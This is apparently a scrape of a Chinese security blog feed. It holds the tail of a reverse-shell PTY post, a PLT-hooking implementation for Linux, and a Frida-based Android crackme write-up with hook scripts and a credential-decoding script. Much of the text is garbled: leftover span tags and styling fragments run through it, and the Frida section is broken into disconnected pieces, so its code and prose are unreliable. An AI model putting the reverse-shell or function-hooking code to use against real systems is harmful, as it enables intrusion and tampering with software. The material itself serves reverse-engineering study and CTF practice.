  int</span> accepted_fd </span>=</span> accept</span>(</span>listen_fd</span>,</span> &</span>accepted_addr</span>,</span> &</span>s</span>)</span>;</span></span>
  copy_loop</span>(</span>accepted_fd</span>)</span>;</span></span>
  tcsetattr</span>(</span>pty_fd</span>,</span> TCSANOW</span>,</span> &</span>origin_terminal</span>)</span>;</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
可以看到，很少的代码就能创建一个交互式反弹 Shell，还能复习 UNIX 知识。</p>
完整代码在这：https://github.com/chenx6/gadget/tree/master/rev_pty</a></p>
Refs</h2>

基于原本的项目，魔改了下，兼容 Python3 https://github.com/chenx6/python-pty-shells</a></li>
pseudo-terminal 基础一</a></li>
linux select函数解析以及事例</a></li>
</ul>


plt hook 项目代码分析和最小实现
2022-04-05T00:00:00+00:00
虽然知道可以通过魔改 plt 表实现 hook 函数，但是不知道具体实现...碰巧最近用到了 plthook 这个库，于是我就研究了下 plthook 这个库，并且仿照着这个库重新实现一份代码。</p>
原理分析</h2>
根据命名规则，.rela.plt 表是负责 plt 表的重定位信息。.rela 表中有每项都有 2 个成员，r_offset 指向了该重定位入口所要修正的位置的第一个字节的虚拟地址， r_info 则是表示相关信息，可以通过 ELF[32|64]_R_SYM</code> 获得其指向的 .dynsym 项的下标。</p>
.dynsym 表（动态链接表）中存放动态链接需要的信息，可以通过 .dynsym 表从 .strtab 表中获得要链接的函数名字。</p>
项目代码分析</h2>
经过阅读代码后，我大致了解了 plthook 在 Linux/x86_64 平台上的逻辑。</p>

由于项目的代码支持多个 UNIX 系统（Windows 下则是实现了 IAT Hook），所以原项目中有一堆的宏和封装，下面的逻辑只对应着 Linux/x86_64 平台。</p>
</blockquote>

获取 link_map</code>

对动态库使用 dlinfo(hndl, RTLD_DI_LINKMAP, &lmap)</code></li>
对可执行文件使用 _r_debug.r_map</code> 结构体</li>
</ul>
</li>
通过 link_map</code> 获取相关 section 的信息。

获取 "DT_SYMTAB DT_STRTAB DT_STRSZ DT_JMPREL DT_PLTRELSZ" 的相关信息</li>
</ul>
</li>
在 rela 表中获得其在 dynsym 中的位置，然后通过 dynsym 获得名字</li>
如果是被替换函数，就通过修改 PLT 表进行替换。</li>
</ol>
重新复现</h2>
首先是通过 dlopen</code> dlinfo</code> 获得 link_map</code>。使用 sysconf</code> 则是获得了页的大小。</p>
///</span> @brief</span> Initlize plthook_info</span></span>
///</span> @param</span> info</span> empty plthook_info variable</span></span>
///</span> @param</span> name</span> library name, NULL means program itself</span></span>
plthook_status </span>plt_hook_init</span>(</span>plthook_info </span>*</span>info</span>,</span> char</span> *</span>name</span>)</span> {</span></span>
  page_size </span>=</span> sysconf</span>(</span>_SC_PAGESIZE</span>)</span>;</span></span>
  plthook_status status </span>=</span> PLTHOOK_SUCCESS</span>;</span></span>
  //</span> Get link_map</span></span>
  void</span> *</span>handle </span>=</span> dlopen</span>(</span>name</span>,</span> RTLD_LAZY </span>|</span> RTLD_NOLOAD</span>)</span>;</span></span>
  struct</span> link_map </span>*</span>map </span>=</span> NULL</span>;</span></span>
  int</span> result </span>=</span> dlinfo</span>(</span>handle</span>,</span> RTLD_DI_LINKMAP</span>,</span> &</span>map</span>)</span>;</span></span></code></pre>
然后是从 link_map</code> 中获得各个 section（"DT_SYMTAB DT_STRTAB DT_STRSZ DT_JMPREL DT_PLTRELSZ"）的信息，供后续使用。</p>
  //</span> Get information from link_map's address and dyn table</span></span>
  info</span>-</span>></span>base_addr </span>=</span> (</span>uint8_t</span> *</span>)</span>map</span>-</span>></span>l_addr</span>;</span></span>
  size_t</span> rela_size </span>=</span> 0</span>;</span></span>
  for</span> (</span>Elf64_Dyn </span>*</span>curr </span>=</span> map</span>-</span>></span>l_ld</span>;</span> curr</span>-</span>></span>d_tag </span>!=</span> DT_NULL</span>;</span> curr</span>++</span>)</span> {</span></span>
    switch</span> (</span>curr</span>-></span>d_tag</span>)</span> {</span></span>
    //</span> Address of string table</span></span>
    case</span> DT_STRTAB</span>:</span></span>
      info</span>-></span>str_table</span> =</span> curr</span>-></span>d_un</span>.</span>d_ptr</span>;</span></span>
      break</span>;</span></span>
    case</span> DT_STRSZ</span>:</span></span>
      info</span>-></span>str_sz</span> =</span> curr</span>-></span>d_un</span>.</span>d_val</span>;</span></span>
      break</span>;</span></span>
    //</span> Address of relocation entries associated solely with the PLT</span></span>
    case</span> DT_JMPREL</span>:</span></span>
      info</span>-></span>rel</span> =</span> (</span>Elf64_Rela </span>*</span>)</span>curr</span>-></span>d_un</span>.</span>d_ptr</span>;</span></span>
      break</span>;</span></span>
    case</span> DT_PLTRELSZ</span>:</span></span>
      rela_size </span>=</span> curr</span>-></span>d_un</span>.</span>d_val</span>;</span></span>
      break</span>;</span></span>
    //</span> Address of symbol table</span></span>
    case</span> DT_SYMTAB</span>:</span></span>
      info</span>-></span>dynsym</span> =</span> (</span>Elf64_Sym </span>*</span>)</span>curr</span>-></span>d_un</span>.</span>d_ptr</span>;</span></span>
      break</span>;</span></span>
    }</span></span>
  }</span></span>
  info</span>-</span>></span>rel_cnt </span>=</span> rela_size </span>/</span> sizeof</span>(</span>Elf64_Rela</span>)</span>;</span></span>
  return</span> status</span>;</span></span>
}</span></span></code></pre>
然后是替换函数。主要流程就是通过 .rela.plt 表找到函数在 .dynsym 段的位置，然后再通过 .dynsym 段获取函数名字，如果是要替换的函数的话，就用 mprotect 将段加上可写权限，并通过写入 r_offset</code> 指向的地址进行魔改。</p>
///</span> @brief</span> Replace function with new function</span></span>
plthook_status </span>plt_hook_replace</span>(</span>plthook_info </span>*</span>info</span>,</span> char</span> *</span>name</span>,</span></span>
                                void</span> *</span>func_address</span>)</span> {</span></span>
  if</span> (</span>info </span>==</span> NULL</span> ||</span> name </span>==</span> NULL</span> ||</span> func_address </span>==</span> NULL</span>)</span> {</span></span>
    return</span> PLTHOOK_ARGUMENT_ERROR</span>;</span></span>
  }</span></span>
  //</span> Get symbol index from relocation table, then get function name from symbol</span></span>
  Elf64_Rela </span>*</span>rela </span>=</span> info</span>-></span>rel</span>;</span></span>
  for</span> (</span>size_t</span> i </span>=</span> 0</span>;</span> i </span><</span> info</span>-></span>rel_cnt</span>;</span> i</span>++</span>)</span> {</span></span>
    Elf64_Rela </span>*</span>curr </span>=</span> rela </span>+</span> i</span>;</span></span>
    size_t</span> sym_idx </span>=</span> ELF64_R_SYM</span>(</span>curr</span>-></span>r_info</span>)</span>;</span></span>
    size_t</span> str_idx </span>=</span> info</span>-></span>dynsym</span>[</span>sym_idx</span>]</span>.</span>st_name</span>;</span></span>
    if</span> (</span>strcmp</span>(</span>name</span>,</span> info</span>-></span>str_table</span> +</span> str_idx</span>)</span> !=</span> 0</span>)</span> {</span></span>
      continue</span>;</span></span>
    }</span></span>
    size_t</span> *</span>origin_func </span>=</span> (</span>size_t</span> *</span>)</span>(</span>info</span>-></span>base_addr</span> +</span> curr</span>-></span>r_offset</span>)</span>;</span></span>
    mprotect</span>(</span>ALIGN_ADDR</span>(</span>origin_func</span>)</span>,</span> page_size</span>,</span></span>
             PROT_READ </span>|</span> PROT_WRITE </span>|</span> PROT_EXEC</span>)</span>;</span></span>
    *</span>origin_func </span>=</span> (</span>size_t</span>)</span>func_address</span>;</span></span>
    return</span> PLTHOOK_SUCCESS</span>;</span></span>
  }</span></span>
  return</span> PLTHOOK_NOT_FOUND</span>;</span></span>
}</span></span></code></pre>
完整代码：https://github.com/chenx6/gadget/tree/master/plt_hook</a></p>
将代码和 test_main.c</code> 一起编译(别忘了加上 -ldl)后，应该可以看到 atoi</code> 的返回值从正确的 "123456" 变成了 "114514"，说明这个 POC 实现成功了。也可以通过用 ((constructor)) 修饰函数，通过 so 注入进行修改。</p>
Refs</h2>

kubo/plthook</a></li>
man elf</code></li>
ELF加载器的原理与实现</a></li>
计算机那些事(4)——ELF文件结构</a></li>
</ul>


Frida 在一次离谱比赛中的应用
2022-02-26T00:00:00+00:00
在某次离谱比赛中，我使用了 Frida 解出了题目，下面是一  在 2021 年 10 月 24 日，我浪费了2小时的时间解出了一个 
那天比较欣慰的是在某弹幕网站上看完了 A·ZU·NA </blockquote> 第一关</h2> 首先找到程序入口点，可以直接看到程序的逻辑，就是                   Toast</span>             Toast</span>   下面是解密脚本。</p> </span> enc_username</span>                         enc_password</span>                         </span> </span>      dec1</span>    dec2</span>    dec3</span></span> </span>   </span></code></pre></span>      System</span> 函数的开头就是调用了 __system_property_get</code>    在网上进行查询后，我使用 Memory.readCString</code>  console</span>Interceptor</span>            console</span>                    Memory</span>             Memory</span>         console</span>  接下来的代码就非常的直接了，就是检查 /data 
                                            很显然，作为一个普通的程序是不能直接写入  
funcAddr</span>console</span>Interceptor</span>           console</span>            Memory</span>            args</span>            console</span>                 retval</span>         console</span>  在上面这么 hook 之后，后面的 fputs</code> 
funcAddr</span> Interceptor</span>     console</span>  最直观的方法让上一步返回一个真实文件的 FD，但是没 </blockquote> 
由于程序中没有任何一个地方调用 i</code> 
    Java</span>             console</span>             console</span>              console</span>   </span>  console</span>Interceptor</span>            console</span>                    Memory</span>             Memory</span>         console</span>  </span> funcAddr</span>console</span>Interceptor</span>           console</span>            Memory</span>            args</span>            console</span>                 retval</span>         console</span>  </span> funcAddr</span> Interceptor</span>     console</span> </span> Java</span>    Java</span>             console</span>             console</span>              console</span>   得到解密的结果后还得加上 '-' 作为分隔符，才 
Refs</h2>  public</span> class</span> MainActivity</span> extends</span> AppCompatActivity</span> {</span></span> italic;">    //</span> ...</span></span> public</span> void</span> onClick</span>(</span>View</span> view</span>)</span> {</span></span> String</span> obj</span> =</span> (</span>(</span>EditText</span>)</span> MainActivity</span>.</span>this</span>.</span>findViewById</span>(</span>R</span>.</span>id</span>.</span>TextAccount</span>)</span>)</span>.</span>getText</span>(</span>)</span>.</span>toString</span>(</span>)</span>;</span></span> String</span> obj2</span> =</span> (</span>(</span>EditText</span>)</span> MainActivity</span>.</span>this</span>.</span>findViewById</span>(</span>R</span>.</span>id</span>.</span>TextPassword</span>)</span>)</span>.</span>getText</span>(</span>)</span>.</span>toString</span>(</span>)</span>;</span></span> byte</span>[</span>]</span> b</span> =</span> Encrypt</span>.</span>b</span>(</span>Encrypt</span>.</span>a</span>(</span>obj</span>.</span>getBytes</span>(</span>)</span>,</span> 3</span>)</span>)</span>;</span></span> byte</span>[</span>]</span> b2</span> =</span> Encrypt</span>.</span>b</span>(</span>Encrypt</span>.</span>a</span>(</span>obj2</span>.</span>getBytes</span>(</span>)</span>,</span> 3</span>)</span>)</span>;</span></span> byte</span>[</span>]</span> bArr</span> =</span> {</span>89</span>,</span> 87</span>,</span> 66</span>,</span> 108</span>,</span> 79</span>,</span> 109</span>,</span> 90</span>,</span> 110</span>,</span> 78</span>,</span> 106</span>,</span> 65</span>,</span> 117</span>,</span> 79</span>,</span> 109</span>,</span> 74</span>,</span> 109</span>,</span> 78</span>,</span> 122</span>,</span> 65</span>,</span> 120</span>,</span> 79</span>,</span> 50</span>,</span> 89</span>,</span> 61</span>}</span>;</span></span> italic;">        if</span> (</span>!</span>Arrays</span>.</span>equals</span>(</span>b</span>,</span> new</span> byte</span>[</span>]</span>{</span>78</span>,</span> 106</span>,</span> 73</span>,</span> 49</span>,</span> 79</span>,</span> 122</span>,</span> 65</span>,</span> 51</span>,</span> 89</span>,</span> 71</span>,</span> 65</span>,</span> 117</span>,</span> 78</span>,</span> 106</span>,</span> 78</span>,</span> 109</span>,</span> 78</span>,</span> 122</span>,</span> 99</span>,</span> 55</span>,</span> 89</span>,</span> 109</span>,</span> 85</span>,</span> 61</span>}</span>)</span> ||</span> !</span>Arrays</span>.</span>equals</span>(</span>b2</span>,</span> bArr</span>)</span>)</span> {</span></span> light-dark(#39ADB5, #89DDFF);">.</span>makeText</span>(</span>MainActivity</span>.</span>this</span>,</span> "</span>还差一点点~~~</span>"</span>,</span> 1</span>)</span>.</span>show</span>(</span>)</span>;</span></span> }</span> else</span> {</span></span> light-dark(#39ADB5, #89DDFF);">.</span>makeText</span>(</span>MainActivity</span>.</span>this</span>,</span> "</span>bilibili- ( ゜- ゜)つロ 乾杯~</span>"</span>,</span> 1</span>)</span>.</span>show</span>(</span>)</span>;</span></span> }</span></span> }</span></span> italic;">    //</span> ...</span></span> }</span></span></code></pre> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">from</span> base64</span> import</span> b64decode</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> [</span></span> 78</span>,</span></span> 106</span>,</span></span> 73</span>,</span></span> 49</span>,</span></span> 79</span>,</span></span> 122</span>,</span></span> 65</span>,</span></span> 51</span>,</span></span> 89</span>,</span></span> 71</span>,</span></span> 65</span>,</span></span> 117</span>,</span></span> 78</span>,</span></span> 106</span>,</span></span> 78</span>,</span></span> 109</span>,</span></span> 78</span>,</span></span> 122</span>,</span></span> 99</span>,</span></span> 55</span>,</span></span> 89</span>,</span></span> 109</span>,</span></span> 85</span>,</span></span> 61</span>,</span></span> ]</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> [</span></span> 89</span>,</span></span> 87</span>,</span></span> 66</span>,</span></span> 108</span>,</span></span> 79</span>,</span></span> 109</span>,</span></span> 90</span>,</span></span> 110</span>,</span></span> 78</span>,</span></span> 106</span>,</span></span> 65</span>,</span></span> 117</span>,</span></span> 79</span>,</span></span> 109</span>,</span></span> 74</span>,</span></span> 109</span>,</span></span> 78</span>,</span></span> 122</span>,</span></span> 65</span>,</span></span> 120</span>,</span></span> 79</span>,</span></span> 50</span>,</span></span> 89</span>,</span></span> 61</span>,</span></span> ]</span></span> def</span> dec</span>(</span>enc</span>:</span> list</span>[</span>int</span>]</span>)</span>:</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> "</span>"</span>.</span>join</span>(</span>map</span>(</span>chr</span>,</span> enc</span>)</span>)</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> b64decode</span>(</span>dec1</span>)</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> "</span>"</span>.</span>join</span>(</span>map</span>(</span>lambda</span> x</span>:</span> chr</span>(</span>x</span> ^</span> 3</span>)</span>,</span> dec2</span>)</span>)</span></span> italic;">    return</span> dec3</span></span> print</span>(</span>dec</span>(</span>enc_username</span>)</span>)</span></span> print</span>(</span>dec</span>(</span>enc_password</span>)</span>)</span></span> ">第二关</h2> 没分析过了。根据 Java 层的代码，第二关应该在 Mylib</code> 的 i</code> 函数中。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">public</span> native</span> String</span> i</span>(</span>)</span>;</span></span> static</span> {</span></span> light-dark(#39ADB5, #89DDFF);">.</span>loadLibrary</span>(</span>"</span>Mylib</span>"</span>)</span>;</span></span> }</span></span></code></pre> 函数进行对比结果。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">  __system_property_get</span>(</span>"</span>ro.product.cpu.abi</span>"</span>,</span> res1</span>)</span>;</span></span> __system_property_get</span>(</span>"</span>ro.build.version.release</span>"</span>,</span> res2</span>)</span>;</span></span> italic;">  if</span> (</span> *</span>(</span>_DWORD </span>*</span>)</span>res1 </span>==</span> 0x</span>363878</span> &&</span> *</span>(</span>unsigned</span> __int16 </span>*</span>)</span>res2 </span>==</span> 0x</span>39</span> )</span></span> {</span></span> italic;">      //</span> ...</span></span> }</span></span></code></pre> 读取函数的参数，然后根据参数，使用 Memory.writeByteArray</code> 写入不同的结果。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">//</span> hook system_property_get</span></span> let</span> funcAddr</span> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>__system_property_get</span>"</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] spg addr is %x</span>"</span>,</span> funcAddr</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>attach</span>(</span>funcAddr</span>,</span> {</span></span> arg0</span>:</span> "</span>"</span>,</span></span> arg1</span>:</span> 0</span>,</span></span> onEnter</span>:</span> function</span> (</span>args</span>)</span> {</span></span> let</span> arg0</span> =</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] arg0</span>"</span>,</span> arg0</span>)</span>;</span></span> italic;">        if</span> (</span>arg0</span> ===</span> "</span>ro.product.cpu.abi</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> this</span>.</span>arg1</span> =</span> args</span>[</span>1</span>]</span>;</span></span> }</span> else</span> if</span> (</span>arg0</span> ===</span> "</span>ro.build.version.release</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> this</span>.</span>arg1</span> =</span> args</span>[</span>1</span>]</span>;</span></span> }</span></span> }</span>,</span></span> onLeave</span>:</span> function</span> (</span>retval</span>)</span> {</span></span> italic;">        if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>ro.product.cpu.abi</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>writeByteArray</span>(</span>this</span>.</span>arg1</span>,</span> [</span>0x78</span>,</span> 0x38</span>,</span> 0x36</span>,</span> 0x0</span>]</span>)</span>;</span></span> }</span> else</span> if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>ro.build.version.release</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>writeByteArray</span>(</span>this</span>.</span>arg1</span>,</span> [</span>0x39</span>,</span> 0x0</span>,</span> 0x0</span>,</span> 0x0</span>]</span>)</span>;</span></span> }</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret</span>"</span>,</span> retval</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span></code></pre> /2233</code> 文件是否存在，如果存在就解密内容，写入到文件中。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">v1 </span>=</span> fopen</span>(</span>"</span>/data/2233</span>"</span>,</span> "</span>r</span>"</span>)</span>;</span></span> italic;">if</span> (</span> v1 </span>)</span></span> {</span></span> fclose</span>(</span>v1</span>)</span>;</span></span> strcpy</span>(</span>(</span>char</span> *</span>)</span>encrypt</span>,</span> "</span>bili_2233_3322</span>"</span>)</span>;</span></span> strcpy</span>(</span>(</span>char</span> *</span>)</span>encrypt2</span>,</span> "</span>bili_3322_2233</span>"</span>)</span>;</span></span> *</span>(</span>_OWORD </span>*</span>)</span>context</span>.</span>count</span> =</span> xmmword_1F60</span>;</span></span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>context</span>.</span>state</span>[</span>2</span>]</span> =</span> 0x</span>1032547698BADCFE</span>LL</span>;</span></span> v2 </span>=</span> __strlen_chk</span>(</span>(</span>const</span> char</span> *</span>)</span>encrypt</span>,</span> 0x</span>F</span>uLL</span>)</span>;</span></span> EU</span>(</span>&</span>context</span>,</span> encrypt</span>,</span> v2</span>)</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>res3 </span>=</span> context</span>.</span>count</span>[</span>0</span>]</span>;</span></span> v24 </span>=</span> context</span>.</span>count</span>[</span>1</span>]</span>;</span></span> v3 </span>=</span> (</span>context</span>.</span>count</span>[</span>0</span>]</span> >></span> 3</span>)</span> &</span> 0x</span>3F</span>;</span></span> italic;">    if</span> (</span> v3 </span>>=</span> 0x</span>38</span> )</span></span> v4 </span>=</span> 120</span>;</span></span> italic;">    else</span></span> v4 </span>=</span> 56</span>;</span></span> EU</span>(</span>&</span>context</span>,</span> PADDING</span>,</span> v4 </span>-</span> v3</span>)</span>;</span></span> EU</span>(</span>&</span>context</span>,</span> res3</span>,</span> 8</span>u</span>)</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>decrypt </span>=</span> context</span>.</span>state</span>[</span>0</span>]</span>;</span></span> *</span>(</span>_OWORD </span>*</span>)</span>v15</span>.</span>count</span> =</span> xmmword_1F60</span>;</span></span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>decrypt</span>[</span>4</span>]</span> =</span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>context</span>.</span>state</span>[</span>1</span>]</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>&</span>decrypt</span>[</span>12</span>]</span> =</span> context</span>.</span>state</span>[</span>3</span>]</span>;</span></span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>v15</span>.</span>state</span>[</span>2</span>]</span> =</span> 0x</span>1032547698BADCFE</span>LL</span>;</span></span> v5 </span>=</span> __strlen_chk</span>(</span>(</span>const</span> char</span> *</span>)</span>encrypt2</span>,</span> 0x</span>F</span>uLL</span>)</span>;</span></span> EU</span>(</span>&</span>v15</span>,</span> encrypt2</span>,</span> v5</span>)</span>;</span></span> v6 </span>=</span> (</span>v15</span>.</span>count</span>[</span>0</span>]</span> >></span> 3</span>)</span> &</span> 0x</span>3F</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>res3 </span>=</span> v15</span>.</span>count</span>[</span>0</span>]</span>;</span></span> v24 </span>=</span> v15</span>.</span>count</span>[</span>1</span>]</span>;</span></span> italic;">    if</span> (</span> v6 </span>>=</span> 0x</span>38</span> )</span></span> v7 </span>=</span> 120</span>;</span></span> italic;">    else</span></span> v7 </span>=</span> 56</span>;</span></span> EU</span>(</span>&</span>v15</span>,</span> PADDING</span>,</span> v7 </span>-</span> v6</span>)</span>;</span></span> EU</span>(</span>&</span>v15</span>,</span> res3</span>,</span> 8</span>u</span>)</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>decrypt2 </span>=</span> v15</span>.</span>state</span>[</span>0</span>]</span>;</span></span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>decrypt2</span>[</span>4</span>]</span> =</span> *</span>(</span>_QWORD </span>*</span>)</span>&</span>v15</span>.</span>state</span>[</span>1</span>]</span>;</span></span> *</span>(</span>_DWORD </span>*</span>)</span>&</span>decrypt2</span>[</span>12</span>]</span> =</span> v15</span>.</span>state</span>[</span>3</span>]</span>;</span></span> v10 </span>=</span> fopen</span>(</span>"</span>/data/2233</span>"</span>,</span> "</span>a+</span>"</span>)</span>;</span></span> italic;">    if</span> (</span> v10 </span>)</span></span> {</span></span> italic;">        for</span> (</span> i </span>=</span> 0</span>LL</span>;</span> i </span>!=</span> 8</span>;</span> ++</span>i </span>)</span></span> {</span></span> ZL7sprintfPcU17pass_object_size1PKcz</span>(</span>res3</span>,</span> v8</span>,</span> v9</span>,</span> decrypt</span>[</span>i</span>]</span>)</span>;</span></span> ZL7sprintfPcU17pass_object_size1PKcz</span>(</span>dest</span>,</span> v12</span>,</span> v13</span>,</span> decrypt2</span>[</span>i</span>]</span>)</span>;</span></span> fputs</span>(</span>(</span>const</span> char</span> *</span>)</span>res3</span>,</span> v10</span>)</span>;</span></span> fputs</span>(</span>(</span>const</span> char</span> *</span>)</span>dest</span>,</span> v10</span>)</span>;</span></span> }</span></span> fwrite</span>(</span>"</span>-----------</span>\n</span>"</span>,</span> 0x</span>C</span>uLL</span>,</span> 1</span>uLL</span>,</span> v10</span>)</span>;</span></span> }</span></span> fclose</span>(</span>v10</span>)</span>;</span></span> }</span></span></code></pre> F;data</code> 文件夹的，所以得通过 hook 让他写到别的地方去。代码非常简单粗暴，将 fopen</code> 的第一个参数 "/data/2233" 换成 '/data/local/tmp/2233'，然后返回一个错误的 fd 给他，让代码继续执行。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">//</span> hook fopen</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>fopen</span>"</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] fopen addr</span>"</span>,</span> funcAddr</span>)</span></span> light-dark(#39ADB5, #89DDFF);">.</span>attach</span>(</span>funcAddr</span>,</span> {</span></span> arg0</span>:</span> "</span>"</span>,</span></span> onEnter</span>:</span> function</span> (</span>args</span>)</span> {</span></span> let</span> arg0</span> =</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] arg0</span>"</span>,</span> arg0</span>)</span>;</span></span> italic;">        if</span> (</span>arg0</span> ===</span> "</span>/data/2233</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>protect</span>(</span>args</span>[</span>0</span>]</span>,</span> 16</span>,</span> '</span>rwx</span>'</span>)</span>;</span></span> light-dark(#E53935, #F07178);">[</span>0</span>]</span>.</span>writeUtf8String</span>(</span>'</span>/data/local/tmp/2233</span>'</span>)</span>;</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] replaced by</span>"</span>,</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>)</span>;</span></span> }</span> else</span> if</span> (</span>arg0</span> ===</span> "</span>/data/local/tmp/2233</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> }</span></span> }</span>,</span></span> onLeave</span>:</span> function</span> (</span>retval</span>)</span> {</span></span> italic;">        if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>/data/local/tmp/2233</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>replace</span>(</span>123</span>)</span>;</span></span> }</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret</span>"</span>,</span> retval</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span></code></pre> 必定会错误，所以我们直接使用 Frida 将 fputs</code> 替换成自己实现的函数，直接输出 fputs</code> 的内容。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">//</span> replace fputs</span></span> light-dark(#39ADB5, #89DDFF);"> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>fputs</span>"</span>)</span>;</span></span> const</span> fopen</span> =</span> new</span> NativeFunction</span>(</span>funcAddr</span>,</span> '</span>int</span>'</span>,</span> [</span>'</span>pointer</span>'</span>,</span> '</span>pointer</span>'</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>replace</span>(</span>funcAddr</span>,</span> new</span> NativeCallback</span>(</span>(</span>strPtr</span>,</span> filePtr</span>)</span> =></span> {</span></span> let</span> str</span> =</span> Memory</span>.</span>readCString</span>(</span>strPtr</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>'</span>[*] fputs</span>'</span>,</span> str</span>)</span>;</span></span> italic;">    return</span> str</span>.</span>length</span>;</span></span> }</span>,</span> '</span>int</span>'</span>,</span> [</span>'</span>pointer</span>'</span>,</span> '</span>pointer</span>'</span>]</span>)</span>)</span>;</span></span></code></pre> 有找到相关的代码，所以只能折中采用这种方式进行 Hook。</p> 函数，所以调用一下进行解密。</p> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">Java</span>.</span>perform</span>(</span>(</span>)</span> =></span> {</span></span> light-dark(#39ADB5, #89DDFF);">.</span>choose</span>(</span>"</span>com.example.test.MainActivity</span>"</span>,</span> {</span></span> onMatch</span>:</span> function</span> (</span>instance</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] onMatch</span>"</span>)</span>;</span></span> let</span> ret</span> =</span> instance</span>.</span>i</span>(</span>)</span>;</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] ret=</span>"</span>,</span> ret</span>)</span>;</span></span> }</span>,</span></span> onComplete</span>:</span> function</span> (</span>)</span> {</span></span> style="color: light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[+] onComplete</span>"</span>)</span>;</span></span> }</span></span> }</span>)</span>;</span></span> }</span>)</span>;</span></span></code></pre>最终代码</h2> #BABED8); background-color: light-dark(#FAFAFA, #292D3E);">/**</span>b13981f45ae996d4bc04be5b34662a78</span>*/</span></span> italic;">//</span> hook system_property_get</span></span> let</span> funcAddr</span> =</span> Module</span>.</span>findExportByName</span>(</span>"</span>libc.so</span>"</span>,</span> "</span>__system_property_get</span>"</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] spg addr is %x</span>"</span>,</span> funcAddr</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>attach</span>(</span>funcAddr</span>,</span> {</span></span> arg0</span>:</span> "</span>"</span>,</span></span> arg1</span>:</span> 0</span>,</span></span> onEnter</span>:</span> function</span> (</span>args</span>)</span> {</span></span> let</span> arg0</span> =</span> Memory</span>.</span>readCString</span>(</span>args</span>[</span>0</span>]</span>)</span>;</span></span> light-dark(#39ADB5, #89DDFF);">.</span>log</span>(</span>"</span>[*] arg0</span>"</span>,</span> arg0</span>)</span>;</span></span> italic;">        if</span> (</span>arg0</span> ===</span> "</span>ro.product.cpu.abi</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> this</span>.</span>arg1</span> =</span> args</span>[</span>1</span>]</span>;</span></span> }</span> else</span> if</span> (</span>arg0</span> ===</span> "</span>ro.build.version.release</span>"</span>)</span> {</span></span> this</span>.</span>arg0</span> =</span> arg0</span>;</span></span> this</span>.</span>arg1</span> =</span> args</span>[</span>1</span>]</span>;</span></span> }</span></span> }</span>,</span></span> onLeave</span>:</span> function</span> (</span>retval</span>)</span> {</span></span> italic;">        if</span> (</span>this</span>.</span>arg0</span> ===</span> "</span>ro.product.cpu.abi</span>"</span>)</span> {</span></span> style="color: light-dark(#39ADB5, 